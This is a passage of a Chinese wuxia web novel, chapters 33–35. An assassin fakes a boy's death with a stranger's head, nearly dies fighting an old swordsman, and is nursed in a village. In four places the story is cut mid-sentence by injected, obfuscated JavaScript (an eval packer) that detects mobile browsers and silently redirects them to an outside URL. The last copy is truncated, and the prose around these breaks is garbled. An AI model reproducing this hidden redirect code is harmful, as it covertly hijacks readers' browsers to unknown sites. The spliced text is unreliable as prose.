等到陈生满意的离开以后,柳傅文立刻坐到方隐攸身边,凑到他耳边悄声说到:“他竟然要杀程远之!” “与其说杀他,不如说是想要抢占他手里的秘籍更加准确。”方隐攸端起面前的茶杯抿了一口,语气漠然的继续道:“衡山宗教众并不多,却可以在江湖上占据一席之地,原因无他,皆是因为程家有一本秘籍。” “秘籍?”柳傅文一惊,“是很厉害的功夫吗?” “若是厉害,那程道子又怎么会死在韩桓临手下?” “不厉害那陈生为什么要抢?” “没人会嫌弃身上的功夫多,那本秘籍虽比不过崔家的那本,但是也强于江湖中大多数人了。” 柳傅文越发不解,“那程道子签生死状的时候难道就没有考虑到这一点?若是他死了,自己的独子怎么办?他也没留几个心腹保护程远之?” “他大概没有料到自己会死。”方隐攸嗤笑一声,“江湖中人人都觉得自己天下第一,等到察觉到自己并非天下第一的时候,也是人头落地之时。” “那你呢?不也是自称天下第一?” 方隐攸瞥他一眼,伸手按住他的眉心将他往后推了点,悠悠道:“你要试试吗?看看我究竟是不是天下第一?” 柳傅文尴尬的摸了摸鼻尖,用肩头撞了他一下,“本公子体弱,不善武。” 方隐攸翻了个白眼,不再看他。 “可是你如果杀了程远之,陈生不是就拿不到秘籍了吗?” “不,他是已经拿到了秘籍,所以才让我去杀了程远之。” 柳傅文又撞了他一下,“你真的要帮他?” “我没有和你说过吗?没有人可以在江湖里面主持公道。我是个刺客,干的就是杀人赚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810171|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱的勾当。他给钱,我取命,正好。” 柳傅文愤愤的哼一声,抬脚在桌底猛踹一下他的腿,“但是,你至少可以拒绝他!不就是区区五十两黄金?本公子赔你便是!” 方隐攸再次翻了个大大的白眼,“柳傅文,你并非江湖中人,善心不该散在江湖人身上。” 方隐攸侧过身子,修长的食指朝着酒楼门外一指,“幽州城虽富庶,但是必然也有饥寒交迫的乞食者,你出门去找找,将那五十两黄金散尽,也算是积善行德了。” 柳傅文闻言脸色大变,愤慨的瞪着他,“方隐攸,你什么意思?” “江湖里面的恩怨,远比你想的复杂,不是我今日不杀他他就不会死。” “程道子死了,衡山宗没了,他程远之一个未及弱冠的少年,在江湖人眼中不过是一条丧家之犬,你觉得他们不会来抢秘籍吗?” “陈生不过是占得先机,抢先了一步而已。只要他不将自己拿到秘籍的消息透露出去,谁能知晓程远之手里还有没有秘籍?” “要怪就怪程道子刚愎自负,让江湖中人尽知他衡山宗有秘籍。” 说着,他猛地拽住柳傅文的衣襟将人拉倒自己面前,盯着他的双眼,语气淡漠又警告的一字一句道:“江湖中的事情少插手,我是为了你好。” 柳傅文凝视着方隐攸的双眼,想要看清楚他藏在眼里的情绪,可是他根本看不清,只觉得这人眼睛黑白分明,明明是一双好人眼,怎么做事没有半点慈悲之心呢? 方隐攸被他打量片刻,并不知道他心里的弯弯绕绕,只觉得他看自己的眼神过于诡异,于是一把放开他的衣襟,还反手拍了拍自己的衣袖,像是要掸干净上面沾染的尘埃。 柳傅文看到他的动作,怒从心起,手指着他的面门说道:“可是他不无辜吗?一条活生生的人命,在你方隐攸眼中就这么不值钱吗?你这个南蛮屠夫!” 方隐攸闻言从怀里拿出陈生给他的那个元宝在柳傅文面前掂了掂,“这不是值了五十两黄金吗?” 柳傅文一把打开他的手,元宝落在桌子上发出噔的一声,“方隐攸,我算是发现了。” 方隐攸挑挑眉,示意他继续说。 “什么恩怨复杂救不了都是你的借口,崔清止与韩桓临之间的恩怨难道不复杂吗?你为什么救他?” 柳傅文呵呵一笑,“还是在于你想不想救罢了。” 方隐攸闻言沉默一瞬,然后露出一个璀璨的笑容,“你这么说好像确实有点道理。”说着,他眨了眨眼,语气无辜的继续道:“可是,那又怎么样呢?” “救人的是我,救不救自然要看我想不想。” “你!”柳傅文被他说的面红耳赤,右手握拳用力的在桌子上一捶:“一百两黄金,买程远之一命。” “好。” “啊?”柳傅文愣住了,涨红的脸瞬间恢复原样,不可置信的质问:“你故意的?” 方隐攸哈哈大笑,捡起桌子上的元宝,“你不是说他的命不值钱,眼下他的命可值了一百五十两黄金,你不满意吗?” 柳傅文抬脚又踹了他一脚,“方隐攸,你这辈子注定不会发大财。” “无妨,我今日已经赚了一百五十两黄金了,足矣!” 33. 程远之 当夜亥时一刻,方隐攸孤身一人前往窦府,虽然出门时柳傅文扯着他的衣袖抗议了许久,他依旧没有带上柳傅文。 柳傅文太聒噪了,大晚上的容易坏事。 今夜无月,风大,疾步奔走在屋顶时冷风从衣领灌进胸膛,那种感觉并不好受。 方隐攸先在一条偏僻小巷里取了一个新死鬼的人头,又按照陈生给的那幅画将人头仔细打理了一番,才提着人头朝着窦府的方向奔去。 窦府很大,但是能让陈生有所顾忌,不敢亲自来杀程远之的地方可没几个,不外乎窦家家主和窦家独子窦步初的院子。 方隐攸先是去了窦老爷的院子,仔细观察了许久都没有看到程远之的踪迹,于是掉头就往窦步初的院子而去。 窦步初的院子在东边,很大,庭院里种着一株柏树,柏树下有一个石桌,在柏树对面是一个他自己搭建的练武场,摆着十几种不同的兵器和靶子。 眼下院子里挂了许多灯笼,照得庭院里面亮如白昼。 窦步初穿着一身劲装,双手持长枪,满脸认真的在练习。 方隐攸站在主屋屋顶上,看着他挥枪的姿势,忍不住摇了摇头,出枪太慢了,若是真的与别人交手,等到他这一枪戳出来,对面的武器早就刺入他的体内了。 过不了多久,主屋里走出来一个少年,他背对着方隐攸朝着窦步初走去,手里还端着一杯热茶。 “步初,歇歇吧?” 窦步初闻言朝他摇摇头,“不行,我得再练练。”他的语气愤慨起来,“今日下午比武的时候我竟然连昶勇那个蠢货都没打过,太丢脸了!” 少年将手中的热茶放到石桌上,笑道:“你和他比什么,别人都说他的武功路数不正,也就是眼下厉害一点,以后必然不会是你的对手。” 窦步初却依旧不肯停下手里的动作,抬腿在身前一扫,手中的长枪用力一抡,重重的打在地上,留下一道深深地凹痕。 “你若是困了就先去睡吧。”窦步初说着脚在地上一跺,跃到半空中,长枪在腰间转了一圈,然后再次狠狠的抡在地上。 “可是...步初,我一个人睡不了...”少年说话时恰好转了个身,面朝方隐攸的方向。 是与画像上一模一样的脸,这少年就是程远之。 窦步初闻言手里的动作瞬间停住,他抬手拍了拍额头,“怪我,竟然忘了这事。” 程远之端起热茶递给窦步初,“喝一点吧,泡的是菊花茶。” 窦步初将手里的长枪放到武器架上,接过茶杯一口饮尽后,抬手揽住程远之的肩膀和他一起走进了屋。 方隐攸在屋顶上啧啧几声,这窦步初为人实在是过于纯良,这才几天功夫就被程远之哄着连睡觉都陪着他了,也难怪陈生郁闷得连饭都吃不下。 方隐攸提着人头,翻身落到屋外,抬手轻敲房门。 “谁?” “柳傅文。” “柳兄!”窦步初惊喜的跑来开了门,抬手就想将人拉进屋内。 方隐攸用刀鞘轻点他的手臂,让他退后一步,朝着程远之抬了抬下巴,“我来找他。” “找他?”窦步初惊讶的看了一眼程远之,“你们两人是旧识?” 程远之警惕的看了一眼方隐攸,然后侧过身子躲在窦步初的身后,“我不认得他。” “这...”窦步初有些不解。 “那你出来吧。” 窦步初点点头,走出房门,站到方隐攸面前,“柳兄,怎么了?” 方隐攸忽然抬手一掌打在他的后颈,随后他便毫无提防的往后倒去。 程远之见状立刻跑了过来接住他的身子,十分愤怒的瞪着方隐攸,“你不怕我叫人吗?这窦府可不是你这种江湖人敢惹的!” 方隐攸将手里的人头往前一递,程远之立刻噤声,他惊恐的睁大双眼,不可置信的指着那个和自己有八分像的人头,“这...这是谁...” “不知道,也不重要。” 说着,方隐攸从怀里掏出画像扔到程远之怀里,“有人拿着这画像来找我,五十两黄金买下这颗如此相貌的头颅,又有人花了一百两黄金救下这颗头颅。” “买下的这颗已经在我手里了,救下的这颗在你脖颈上。” 方隐攸微微一笑,语气诡异如鬼魅,“你看我这生意做得如何?” 程远之浑身一抖,僵着脸点点头,“甚好。” “但是,你知道的,做生意讲究的就是诚信...”方隐攸话说一半,眼神意味不明的盯着程远之。 程远之也是个聪明人,闻言立刻深呼一口气,语气郑重的说到:“我懂,从此世间再无程远之,也再没有和画上一模一样的脸。” 方隐攸满意的点点头,侧过脸看着庭院中的柏树,“窦步初可以护你一时,但是护不了你一世,你该早做打算。” 程远之狐疑的看着他,试探的问道:“你为什么要帮我?” “因为有人花钱买你的命,帮你的是他不是我。”说完,方隐攸扯扯嘴角,“我只是一个刺客。” 程远之垂下头,将倚在他身前的窦步初往怀里护了护,“是陈生吧?让你来杀我的人是他对吧?” 方隐攸嗤笑一声,“是不是重要吗?这江湖中想要你命的,可不止他一个。” “也是。”程远之怅然一笑,“江湖中人人都想要我手里的秘籍,原以为将秘籍给了他便可苟活于世,没想到他竟然要将我赶尽杀绝...呵呵...” 方隐攸沉默的看着他,画中的他看上去纯良又懵懂,真看到了才发觉这少年眼中是藏不住的野心与心机。 方隐攸的视线落到窦步初的后脑勺上,也就只有他是真的毫无心机了。 “若是日后江湖上传出今日之事,我会亲自来取你这个人头。”方隐攸语气变得无比阴森,眼神化作细丝,紧紧的勒住程远之的脖子,“记住了吗?” 程运之下意识的屏住呼吸,他点点头,浑身僵硬无比。 方隐攸满意的点点头,脚尖点地,瞬间就消失在了夜色里。 程远之看着手里的画像,眼中变得无比凶狠。 方隐攸提着头颅找到陈生的时候他正翘首以盼的守在门口,一听到门外的动静立刻打开门,将方隐攸迎了进去。 陈生给他倒了一杯热茶递过来,然后看着他手里的头颅问道,十分满意的点点头,“是他。” 方隐攸并未接过他递来的茶,随手将头颅往地上一扔,“那你就收好。” 陈生脸色阴沉的盯着地上的头颅,呵呵一笑,“收好?不,我要让这头颅立刻消失。” 方隐攸这时候忽然接过陈生手里的茶,微微抿了一口后,貌似无意的问道,“为什么?” 陈生闻言看了一眼方隐攸,眼神一闪,哈哈笑到,“刚刚不过是句玩笑话,眼下时辰也不早了,就不耽搁方大侠了。” 方隐攸放下手里的茶杯,眼角余光瞥了一眼地上的头颅,然后头也不回的出了屋。 不过他并未直接离开,而是翻到了屋顶,揭开一片瓦,悄无声息的盯着屋中的陈生。 陈生先是给自己倒了一杯热茶,仔细的喝完后,又围着地上的头颅走了几圈,脸上的表情似笑非笑,十分诡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810172|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异。 过了一会,他拿来一个铁盆,表情十分嫌弃的用长剑挑起头颅扔到盆里,然后又不知道从哪里拿出一罐东西淋在头颅上。 看到他的动作,方隐攸眼神一变,生怕他看出端倪来,但是陈生并未细看被淋得湿透了的头颅,而是端起桌上的烛台,直接将蜡烛扔了进去。 瞬间,铁盆里燃起一团猛火。 方隐攸仔细闻了闻,空气里除了糊味还有一股猛火油的味道,想来他刚刚淋的便是猛火油。 等到盆子里的头颅被烧的面目全非,陈生大笑几声,脸上满是得意。 方隐攸无声的扯了扯嘴角,轻手轻脚的将瓦片盖好,然后迅速隐匿入黑夜中。 独自在酒楼里等待的柳傅文此时正坐在灯下百无聊赖的玩骰子,等到方隐攸推门而入的时候他立刻扑了过来,着急忙慌的问道:“怎么样?没出什么岔子吧?” “没有,我随便弄了个人头给陈生,他没认出来那个不是程远之。” “啊?他难道没有仔细查看吗?” “没有,而且我猜想他与程远之必然不亲近,仔细看也未必能看出点什么,毕竟但凡他与程远之有点交情,也不会在拿到秘籍以后还对他赶尽杀绝。”说着,方隐攸走到软塌边,将上面铺着的被絮铺好以后翻身躺了上去。 “那这样的话,程远之是不是就安全了?” “这就得看他会不会藏了。” 柳傅文不解的蹲到他面前,“什么意思?” 方隐攸翻了个身子,用胳膊垫着额头,侧躺着盯着他,“陈生已经将那人头烧毁了,就表示对于程远之已死一事,他并不会告诉别人,为的就是想要江湖中人以为秘籍还在程远之手里。” 方隐攸眼神一暗,“而且,我猜他还会故意放出程远之的消息,让别人都以为程远之还好生生的活着,这样他已经抢夺了秘籍一事,就无人知晓。” “可是,他难道不怕你走漏风声,说程远之已死,买凶杀人之人就是他陈生?” “我怎么会知道画中的人是程远之?”方隐攸抬手轻点柳傅文的侧肩,“若不是你要去凑盟主争夺赛的热闹,恰好看到了程道子与韩桓临交手,我们会知道程道子长什么样子吗?” “他给我们看的那副画上,可没有写程远之的名字。” 柳傅文听方隐攸说完,恍然大悟的点点头,“照你这么一说,好像确实如此。” 柳傅文噌的一下站了起来,愤慨的跺了跺脚,“幸好我们救下了程远之,否则就让这个心思歹毒的陈生得逞了。” 方隐攸看着他这幅咬牙切齿的模样,轻笑一声,躺正身子,看着屋顶的瓦片,悠悠道:“江湖中像陈生的这种人多了去了,他们得逞的事情也多了去了,哪里是管得过来的?” 柳傅文闻言又蹲到他面前,抬手扯住方隐攸的衣襟,让他的视线落在自己身上,“方隐攸,你明明有那个能力,为什么不想着去管呢?” “就算不是事事都能管,但是总好过一件都不管吧?” 柳傅文看着方隐攸的视线十分诚恳,在烛火下闪着光,流光溢彩的,比金子都闪耀,要不是方隐攸知道这人是有意接近自己的,倒真的要被他这副拳拳之忱所蛊惑,以为他是真心想要自己做个正义豪情的江湖侠客了。 方隐攸露出一个似笑非笑的表情,眼神调侃的盯着柳傅文,“谁说我不管了,只要柳公子金子管够,我件件不落的按的你心思处理干净。” 柳傅文闻言一愣,沉默的凝视他许久,往后退了一步,“算我多言。” 方隐攸扯过被子盖好,“睡吧,明日继续赶路。” 34. 耿老翁 第二日方隐攸和柳傅文出城时,听到有几个江湖人士在议论衡山宗前宗主之子在青州露面的消息,众人都猜测他大概是去找韩桓临为父报仇的。 方隐攸和柳傅文对视一眼,都知道这便是陈生故意放出的消息,为的就是隐瞒程远之已死、秘籍早已被他收入囊中的事实。 不过事已至此,他们也只是过客,后续如何,已与他们无关。 幽州城距离下一个城镇并阳县不过三百里,所以两人并不急着赶路,那匹良驹便也没了用武之地,被柳傅文扔给了方隐攸,让他好生牵着。 方隐攸牵着缰绳缓慢的走,柳傅文在面前跑跑停停,宽大的衣摆荡起波澜,上面掺了金丝绣的梅枝栩栩如生,方隐攸恍惚间竟然觉得真的会有几朵梅花从他的衣摆中掉下来。 过了没多久,柳傅文忽然止步,抬手指着路旁的一条林荫道,“那个人在做什么?” 方隐攸闻言一愣,他竟然没有察觉到那里有人。 不过是眨眼间,林间忽然窜出一个人影,他以手作爪,直冲向柳傅文的脖颈。 方隐攸迅速扔了手里的缰绳闪现过去,揽住柳傅文的腰将人护在身后猛退数丈远。 那人却步步紧逼,抽出腰间的大刀朝着两人挥砍而来。 方隐攸于是反手将柳傅文扔到背上,嘱咐一声抓好,然后拔出可生,横挑一剑接住刀刃,然后扭腰抬腿踢向那人的腰腹。 那人后撤躲过一击,冷笑一声道,“果然有点功夫。” 方隐攸仔细打量他一眼,这人头发花白,白须垂至胸膛,满脸沟壑,年纪必然不轻,但是每招每式都十分迅猛,没有任何疲态,是个深藏不露之人。 方隐攸的脸色凝重了起来,侧过身握紧可生,问道:“你知道我。” “天下第一刺客方隐攸何人不知何人不晓?”老头抬手摸摸长须,浑浊的双眼紧盯方隐攸,“老夫今日来,就是为了看看你配不配得上这天下第一的名号!” 方隐攸闻言侧过脸,用眼尾余光瞥一眼柳傅文,昨日里他们才说过此事,今日这老头就来了,着实有些巧。 柳傅文注意到他的视线,手按住他的肩膀,头往前一伸,凑到他耳边小声解释,“你这样看着我做什么,这老头可不是我找来的!” 方隐攸呵一声,冷眼看向老头,“那你便来试试吧。” 说着,他反手拽住柳傅文的肩膀,将人扔到路旁,警告道:“安分点。” 柳傅文举起双手,信誓旦旦的点点头,“我知道了。” 老头看了一眼柳傅文,“浪荡子。” 柳傅文一听脸色大变,手指着他大喊,“你这老头,胡说八道什么呢?” “说你男子汉大丈夫,遇事便只知道躲,实在是无能。” “你!”柳傅文一跺脚,咬牙切齿的说到,“你个老不死的,不也只会偷袭吗?又算什么江湖好汉?” 老头眼神一凛,手中的大刀一转,直接朝着柳傅文冲来。 方隐攸迅速上前,抬手用剑挡住老头的大刀,然后一拳打向他握刀的手臂。 老头似乎早有预料,顺势调转攻势,手肘一转刀刃下压,朝着他执剑的手砍去。 方隐攸见状立刻收剑后撤,然后委身下蹲,抬腿横扫向老头双腿,老头呵呵一笑,脚尖点地跃到空中,挥刀用力的朝着方隐攸头顶砍来。 方隐攸反应迅速的在地上一翻,仰面举起长剑,刀剑交接时迸发大片火星,然后又噌的一声错开,两人各自朝后腿了几步,又猛地挥舞着兵器扭打在一起。 他们两人的速度都极快,柳傅文只看到两个残影,一人穿黑色一个穿绛色,速度一快就成了一团黑色,分不清谁是谁。 等到他能分辨那两人的时候,也只看到两个残影猛地对冲,然后绛色瞬间溅射出一团血雾,黑色也倒地不起。 “方隐攸!” 柳傅文吓的大喊一声,连忙朝着两人跑去。 老头虽然还站着,但是浑身上下没有一块布料是原来的颜色,全部是被血水浸湿以后得黑色。 他手里的大刀在柳傅文奔来时碎成一片片的落在地上,发出清脆的声响,手中只剩下一个刀柄。 柳傅文不知道他伤的有多重,也没有心思在意这些,毕竟躺在地上一动不动的方隐攸看上去比他好不了多少。 “方隐攸?” 柳傅文蹲到方隐攸身边,小心翼翼用手扶住他的肩膀,想要将人扶到自己怀里,可是他的手刚碰上方隐攸的衣裳时,就感觉掌心的触感十分湿润。 柳傅文瞬间慌了神,也不敢再扶了,一手撑在他身侧,用手轻轻的拍着他的脸,小声的唤他的名字,“方隐攸?醒醒...方隐攸?” 方隐攸久久没有反应,整张脸惨白的吓人。 柳傅文慌张的呼吸都变得缓慢了起来,他愤怒的回头看着老头,“都是你!” 说着,他迅速站了起来,抬手按住腰间,就在他要抽出软鞭时,一直直挺挺站着的老头忽然倒在地上,他的眼皮眨都没有眨一下。 柳傅文一愣,走过去抬手在他鼻子上一递,才发现他早就已经没了呼吸。 柳傅文心猛地一抖,瞬间瘫软在地,脸一刹那失去血色,红润的嘴唇也变得惨白,整个人都张皇失措到微微颤抖,他手撑在地上,缓缓爬到方隐攸的身边,踌躇了许久后终于敢抬起手试探方隐攸的呼吸。 没有任何呼吸—— 这让柳傅文感觉到脑子里面一片空白,耳朵里传来阵阵耳鸣声,他的视线死死的锁在自己的食指上,然后弯下腰,将嘴贴近方隐攸的耳朵,祈求着说道:“呼吸,方隐攸,呼吸。” “你是天下第一刺客。” “你不会输。” “你绝对不会输的,对不对?” 柳傅文感觉到自己的心跳声越来越慢,越来越响,像是丧钟,一下一下,响彻山谷,悲哀又凄凉。 “方隐攸,我求你...呼吸...” 柳傅文匍匐在地上,哽着嗓子,闭着眼将脸埋在方隐攸的脖颈中,低声哀求。 忽然,他的手上似乎有了温热的触感,柳傅文猛地抬起头来,将脸缓缓贴在他的鼻尖,仔细的感受着他的呼吸。 然后,他就真的感觉到了——就像是冬天里忽如其来的一阵暖风,让他整个被冻僵的身躯都开始激动的战栗。 他劫后重生般猛喘一口粗气,几乎是喜极而泣,眼角滑过一滴泪,又让他瞬间擦去,不留下一点痕迹。 方隐攸缓缓睁开眼,眼神空洞又怅然,他带着一丝惋惜的缓缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810173|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“我想起来他是谁了。” 柳傅文撇过脸,掩饰住眼中脸上的所有情绪,清了清嗓子后问道,“他是谁?” “曾经的江湖第一侠客——耿老翁。” 柳傅文撇撇嘴,语气十分不屑,“侠客?莫名其妙堵住我们,还要杀我们,算是什么侠客?” 方隐攸长呼一口气,闭眼沉默许久后朝他伸出手,“扶我起来。” 柳傅文站了起来,然后弯腰将他的胳膊搭在自己肩膀上,再一手揽住他的腰将人扶了起来。 “你感觉怎么样?要不我背你?” “不用——噗——” 方隐攸话还没说完,猛地吐出一口血,整个人都无力的往地下跪倒,柳傅文吓了一跳,直接躬身将手穿过他的腿弯,将人抱在了怀里。 方隐攸闭着眼长呼几口气,隐忍的握拳调整了几圈内息。“我虽杀了他,他却也重伤了我,若是再早几年,我肯定不是他的对手。” 柳傅文回头看了一眼躺在地上的耿老翁,“他就是找死。” “不,他是在找秘籍。” “秘籍?什么秘籍?” 方隐攸沉默了片刻才回倒:“世人皆传天下第一刺客方隐攸手中有一本武林秘籍,得之可练就神功,你不知道?” 柳傅文抱着方隐攸腿弯的手微微一抖,他看着前方丛林,语气如常的回道:“本公子又不是江湖中人,怎么可能知晓此事?” 方隐攸无所谓的点点头,“说的也是。” “他都是天下第一侠客了,为什么还想抢你的秘籍?” “不知道。” 柳傅文看着耿老翁的尸体,“那他的尸首怎么办?别人若是发现了,会不会有人来找你寻仇?” “寻仇?这江湖上还有几个人记得他?” “他不是侠客吗?应该很多人受过他的恩惠吧?” “再大的恩惠时间久了也就忘了。” 柳傅文眼神莫测的再看了一眼耿老翁的尸体,然后看向方隐攸紧闭的双眼,“并阳县太远了,今夜我们先在周边村子里借住。” 方隐攸睁开眼,眼神调侃的撇着他的下颌,“怎么,柳公子今夜不讲究了?” 柳傅文呵呵一笑,“你现在这幅样子,本公子怎么敢讲究?别到时候死在路上,何人护我上京?” 方隐攸再次闭上眼,扯了扯嘴角,“聒噪,我睡会,你且赶路吧。” “别睡!你不能睡!方隐攸!” 柳傅文的语气慌张又惊恐,方隐攸抬手轻拍了一下他的肩膀,“死不了,只要你不想让我死,我就死不了。” “当真?” “当真。” 柳傅文松了口气,扯了扯嘴角,看着他一直握着的可生说道:“狗咬吕洞宾,不识好人心,我若是真的想让你死,现在就直接抢了你的可生一剑抹了你。” 方隐攸将可生抱到怀里,脸朝他的胸膛偏了偏,“别吵了,睡了。” 柳傅文瞬间噤声,眼神温柔的盯着他的侧脸,无声的笑了笑。 那匹良驹不知何时已经跑的没了踪迹,柳傅文正好可以无牵无挂的抱着方隐攸朝着不远处的一个村子走去。 柳傅文一路上都在试探方隐攸的呼吸,生怕怀里这人一不小心死了。 35. 伺候 走了约一炷香的功夫,柳傅文终于到了章台村的村口,路边栽着几株木槿花,如今未到花期,枝上只有抽条的新芽。 眼下正是吃饭的时辰,不远处的矮屋里升起寥寥炊烟,周遭还有几声鸡鸣犬吠,村子不过二十多户人家,看上去安逸又祥和。 柳傅文抱紧怀里的人,快步往村子里走去。 村口的一间茅屋前面有个老翁正坐在门口竹椅上晒太阳,远远的看到柳傅文怀里抱着人,十分好奇的打量了他许久。 柳傅文走到他面前,毕恭毕敬的弯下腰,问道,“老翁,我与弟弟路过此处,不料他忽然染了病,不得已来此,不知道您是否可以让我们在您老这里借住一宿?” 老翁闻言立刻站了起来,手往不远处的一个小院子一指,“病啦?那你去章老五那里去呀,他是咱们村里的大夫,医术不比县城的大夫差!” 柳傅文一听,立刻从怀里掏出一锭银子递给老翁,“多谢您!” 老翁见状抬手将柳傅文的手往后一推,“小辈,快些去吧。”说着,他指了指正沉睡着的方隐攸,“我看你弟弟病得不轻呐。” 柳傅文于是不再强求,立刻抱着方隐攸往章老五的院子走去。 章老五的茅屋有三间,占地比周围的房子都大些,屋前用篱笆围成一个院子,里面种了许多花草,乍看起来和谷山一在山谷里种的那些有些相似。 柳傅文抱紧方隐攸直接跨过了才及膝盖的篱笆,走到茅屋前敲了敲紧闭的木门喊道:“章大夫在家吗?” “在!” 屋里传来一个女人的声音,紧接着门便开了。 她看上去十分年轻,梳着妇人的发髻,看到柳傅文的时候眼里闪过疑惑,不过还是让开了门的位置,让他进来了。 屋里并不宽敞,几张矮榻上面还坐着几个人,看上去都病恹恹的,显然是来治病的。 柳傅文并不想让方隐攸和这些真病患在一起,抱着人在屋里转了一圈又退了出去。 女人对此十分不解,手扶着门框望着柳傅文问道,“怎么了?你不是来治病的?” 柳傅文皱着眉思索片刻,问道:“有别的房间吗?我弟弟如今身子虚,和屋里那群人在一起会过了病气。” 女人闻言一笑,想说都是病人,怎么还嫌弃上别人了,不过她看柳傅文穿着讲究,应该也是个不差钱的主,于是点点头,“屋后倒是还有一间屋子,只不过那里是我相公放药材的地方,公子若是不嫌弃,倒是可以去里面歇着。” 柳傅文点点头,跟着女人朝屋后的房屋走去。 这个房屋倒是很宽敞,就是摆满了各种各样的草药,空气里都是一种酸苦的药味,柳傅文一进来就觉得憋得慌,想要打开窗户透风,却被女人阻止了。 “公子,这屋里放的可都是我相公的命根子,可不能开窗,若是招来了鸟啊蛇啊之类的,弄脏了药材,那不是要了我家相公的命吗?” 柳傅文于是作罢,只小心翼翼的将还在沉睡的方隐攸小心的放在房间里面的一张竹榻上。 这时,他才反应过来自己的衣裳早已经被他身上的血浸湿。 柳傅文蹲在竹榻边,试探性的伸手想要触碰方隐攸,又不敢真的碰到他,毕竟方隐攸浑身上下看不到一道刀痕,可是衣裳却被血染透,谁都不知道他身上的伤究竟是什么情况。 柳傅文看向女人,“章大夫呢?” “他进山采药去了,酉时回。” 眼下不过午时一刻,还有的等,可是方隐攸伤的太重,需要尽早处理。 “你可知道你家相公将金创药放在哪里?替我取些来。” 女人闻言有些不好意思的笑了笑,“巧了不是,我家相公进去采的就是做金创药的药材...眼下我这里,没有金创药了。” 柳傅文一愣,眼中闪过几分急躁,最后只能长叹一口气,从怀里拿出一锭金子递给女人,“那劳烦章夫人去集市上替我买些上好的金创药,再买几件衣裳,多谢了。” 章夫人看到他手里的金子双眼瞬间发光,她接过金子,笑道:“距离我们这村子最近的集市不过十里路,我再向隔壁借一匹快马,花不了多少功夫,我就能给公子将药买回来。” 说着,她视线扫过方隐攸,这才发现他不是病了,是伤了。“我跟着我家相公学过一点药理知识,你弟弟伤的这么重,得吃些补气血的补品才行。” 柳傅文于是又从怀里掏出一锭金子递给她,“那就劳烦你一道带回来。” 章夫人喜笑颜开,接过金子便脚步轻快的出了房间,临去集市前还十分体贴的给柳傅文端来了两碗粥。 柳傅文端着粥坐到榻边,俯身凑到方隐攸的耳边轻声呼唤:“方隐攸,起来吃点东西再睡?” 方隐攸没有丝毫反应,柳傅文坚持不懈的在他耳边唤了半盏茶的功夫,终于是在粥变冷前将人唤醒了。 方隐攸的双眼里面布满血丝,眼神迷蒙,表情却十分不耐,他瞪一眼柳傅文,“不吃。” “不行,得吃。” 柳傅文舀一勺子粥递到他嘴边,“张嘴,吃完再睡?” 方隐攸不为所动,缓缓的闭上眼睛,想要继续睡觉。 柳傅文再次凑到他耳边,小声道,“吃,不吃的话我就一直吵你,让你睡不安生。” 方隐攸睁开眼,淡淡道,“柳傅文,你太聒噪了。” “是是是,我聒噪,你先吃粥,好不好?” “现在我需要的是歇息,不是一碗寡淡的白粥。” “不寡淡,章夫人在里面放了些红枣,是甜的。” 方隐攸缓缓的长呼一口气,沉默的张开了嘴,柳傅文见状赶紧开始喂食,嘴里还念叨着让他不要着急,慢慢吃对身体才好。 方隐攸无语的吃完整碗粥,面无表情的看着他,“我可以睡了吗?” 柳傅文讨好的笑了笑,“睡吧,我已经托了人去给你买药,很快就会回来了。” 方隐攸点了点头,闭眼就睡。 柳傅文手捧着已经空荡荡的碗,沉默的看了方隐攸良久后才起身去吃那一碗早就凉透了的粥。 章夫人回来的确实很快,前后才花了不到三刻钟的功夫。她将手里提着的一大包东西放到桌子上,然后问柳傅文,“你确定不等我家相公回来?” 柳傅文走到桌边,拿出里面的几包补品递给她,“不等了,劳烦章夫人去把这些炖上。” 章夫人犹豫的接过补品,又问了一遍,“你当真要自己替他医治?若是出了差错可就不好了。” 柳傅文点点头,拿出几罐金创药走向竹榻。 章夫人见状无奈的叹了口气,拿着补品出了房间,还顺手替他们将房门关好,以免冷风吹进去。 柳傅文在竹榻边来回踱步了几圈,然后凑到方隐攸耳边小声叫着他的名字。 这次方隐攸醒的十分快,他看一眼柳傅文,“药买回来了?” 柳傅文将手里的金创药举到他面前,“这里。” 方隐攸抬起手臂,示意他将自己扶起来。 “你躺着,我来给你上药。” 方隐攸瞥他一眼,“我自己来。” 柳傅文后退一步,不肯将他扶起来,“你伤的那么重,自己怎么行?而且,你背后的伤也能自己来?” 方隐攸冷眼睇着他,嘴角抿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 